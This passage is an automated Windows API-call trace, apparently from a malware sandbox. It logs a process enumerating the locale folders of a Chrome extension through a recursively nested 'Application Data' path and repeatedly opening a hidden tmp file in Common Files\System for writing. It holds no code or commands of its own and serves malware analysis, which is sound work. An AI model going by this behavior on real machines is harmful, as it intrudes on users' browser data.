dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.755] GetFileType (hFile=0x19c) returned 0x1 [0132.755] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x230fe, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.755] AreFileApisANSI () returned 1 [0132.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.755] GetFileType (hFile=0x19c) returned 0x1 [0132.756] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x23203, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.756] AreFileApisANSI () returned 1 [0132.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.756] GetFileType (hFile=0x19c) returned 0x1 [0132.756] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x23305, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.756] AreFileApisANSI () returned 1 [0132.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.756] GetFileType (hFile=0x19c) returned 0x1 [0132.756] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x2340b, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.756] AreFileApisANSI () returned 1 [0132.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.756] GetFileType (hFile=0x19c) returned 0x1 [0132.756] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x2350d, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.757] AreFileApisANSI () returned 1 [0132.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.757] GetFileType (hFile=0x19c) returned 0x1 [0132.757] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x2360f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.757] AreFileApisANSI () returned 1 [0132.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.757] GetFileType (hFile=0x19c) returned 0x1 [0132.757] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x23712, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.757] AreFileApisANSI () returned 1 [0132.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.757] GetFileType (hFile=0x19c) returned 0x1 [0132.757] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x23814, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.758] AreFileApisANSI () returned 1 [0132.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.758] GetFileType (hFile=0x19c) returned 0x1 [0132.758] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x23916, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.758] AreFileApisANSI () returned 1 [0132.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.758] GetFileType (hFile=0x19c) returned 0x1 [0132.758] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x23a18, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.758] AreFileApisANSI () returned 1 [0132.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.758] GetFileType (hFile=0x19c) returned 0x1 [0132.758] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x23b1a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.758] AreFileApisANSI () returned 1 [0132.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.759] GetFileType (hFile=0x19c) returned 0x1 [0132.759] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x23c1c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.759] AreFileApisANSI () returned 1 [0132.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.759] GetFileType (hFile=0x19c) returned 0x1 [0132.759] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x23d1e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.759] AreFileApisANSI () returned 1 [0132.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.759] GetFileType (hFile=0x19c) returned 0x1 [0132.759] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x23e20, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.759] AreFileApisANSI () returned 1 [0132.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.760] GetFileType (hFile=0x19c) returned 0x1 [0132.760] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x24000, nFileSizeHigh=0x0, nFileSizeLow=0x23f22, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.760] AreFileApisANSI () returned 1 [0132.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.760] GetFileType (hFile=0x19c) returned 0x1 [0132.760] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x24024, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.760] AreFileApisANSI () returned 1 [0132.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.760] GetFileType (hFile=0x19c) returned 0x1 [0132.761] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x24126, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.761] AreFileApisANSI () returned 1 [0132.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.761] GetFileType (hFile=0x19c) returned 0x1 [0132.761] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x24228, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.761] AreFileApisANSI () returned 1 [0132.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.761] GetFileType (hFile=0x19c) returned 0x1 [0132.761] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x2432a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.761] AreFileApisANSI () returned 1 [0132.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.761] GetFileType (hFile=0x19c) returned 0x1 [0132.762] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x2442c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.762] AreFileApisANSI () returned 1 [0132.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, 